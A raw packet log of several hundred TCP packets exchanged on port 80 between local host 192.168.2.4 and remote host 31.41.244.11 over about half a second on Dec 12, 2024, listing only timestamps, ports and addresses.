Dec 12, 2024 14:26:28.081325054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.227371931 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.227600098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.228034019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.228089094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.228154898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.228212118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.228281975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.228365898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.229423046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.229441881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.229546070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.229546070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.230098963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.230176926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.230690002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.230931044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.230969906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.230969906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.231089115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.231131077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.232187033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.232203007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.232242107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.232309103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.233292103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.233346939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.233686924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.233797073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.234097958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.234114885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.234349966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.234349966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.235091925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.235109091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.235219955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.236021042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.236063957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.236123085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.236545086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.236561060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.236735106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.236735106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.237359047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.237376928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.237427950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.238110065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.238125086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.238360882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.238360882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.238955021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.239047050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.239136934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.239933014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.239949942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.240015030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.240015030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.240704060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.240829945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.240844965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.240942955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.241599083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.241616011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.241657019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.241657019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.242491007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.242549896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.242563963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.242611885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.243398905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.243415117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.243462086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.243463039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.244038105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.244085073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.244173050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.244174004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.244680882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.244822025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.245076895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.245703936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.246125937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.246216059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.246443033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.246504068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.246519089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.246576071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.247220039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.247236967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.247311115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.248106956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.248121977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.248158932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.248205900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.248752117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.248914003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.248940945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.249126911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.249703884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.249850035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.249900103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.250602007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.250796080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.251255989 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.251256943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.251396894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.251439095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.251471043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.251514912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.252402067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.252418041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.252446890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.252537012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.253288031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.253359079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.253477097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.253477097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.254121065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.254530907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.254556894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.254829884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.255007982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.255337954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.255959034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.255975962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.255990028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.256015062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.256151915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.257649899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.257666111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.257683992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.258418083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.258418083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.258433104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.258498907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.258722067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.258774042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.259301901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.259367943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.260040045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.260056019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.260099888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.260162115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.260322094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.260467052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.261202097 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.261218071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.261233091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.261254072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.261284113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.261284113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.262077093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.262165070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.262609005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.262691021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.263087988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.263148069 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.263478994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.263580084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.264014959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.264127016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.264313936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.264405012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.264923096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.264970064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.265054941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.265263081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.266096115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.266140938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.266181946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.266323090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.266597033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.266684055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.266912937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.267091990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.267792940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.267880917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.268439054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.268589020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.268625975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.268640041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.268788099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.268788099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.269357920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.269372940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.269488096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.270103931 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.270117998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.270550966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.270550966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.271126032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.271205902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.271995068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.272011995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.272028923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.272099018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.272099018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.272099018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.273490906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.273761034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.273789883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.273840904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.274836063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.275094986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.428719997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.428874969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.428941965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.428941965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.429610014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.429625988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.429675102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.429734945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.430121899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.430180073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.430202007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.430249929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.431060076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.431077003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.431113005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.431143045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.431871891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.432039022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.432075977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.432456970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.433134079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.433322906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.433711052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.433806896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.434114933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.434132099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.434302092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.435077906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.435133934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.435383081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.435439110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.435905933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.435923100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.436084986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.436084986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.436794043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.436844110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.437647104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.437663078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.437680006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.437701941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.437736034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.438347101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.438505888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.438858032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.438976049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.439346075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.439362049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.439400911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.439531088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.439896107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.440116882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.440152884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.440212011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.441854000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.441869020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.441884995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.441905975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.441915035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.441952944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.443372011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.443387985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.443471909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.443471909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.443866968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.443928957 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.444530964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.444624901 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.444699049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.444715023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.444760084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.444760084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.445683002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.446070910 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.446799040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.446815014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.446831942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.446857929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.446857929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.446932077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.447854996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.447901011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.447927952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.447977066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.448484898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.448502064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.448538065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.448550940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.449173927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.449903011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.449928999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.449944973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.449980021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.449992895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.449992895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.450016975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.451215982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.451263905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.451334953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.451881886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.452028036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.452646017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.452698946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.452791929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.453021049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.453044891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.453185081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.453583956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.453759909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.453787088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.453830004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.454739094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.454755068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.454936028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.454936028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.456063986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.456124067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.456453085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.456748009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.456845999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.457063913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.457093954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.457135916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.457745075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.457761049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.458507061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.458507061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.458528996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.458621979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.459161997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.459273100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.459320068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.459470987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.459721088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:28.459831953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:28.460287094 CET	80	49801	31.41.244.11	192.168.2.4
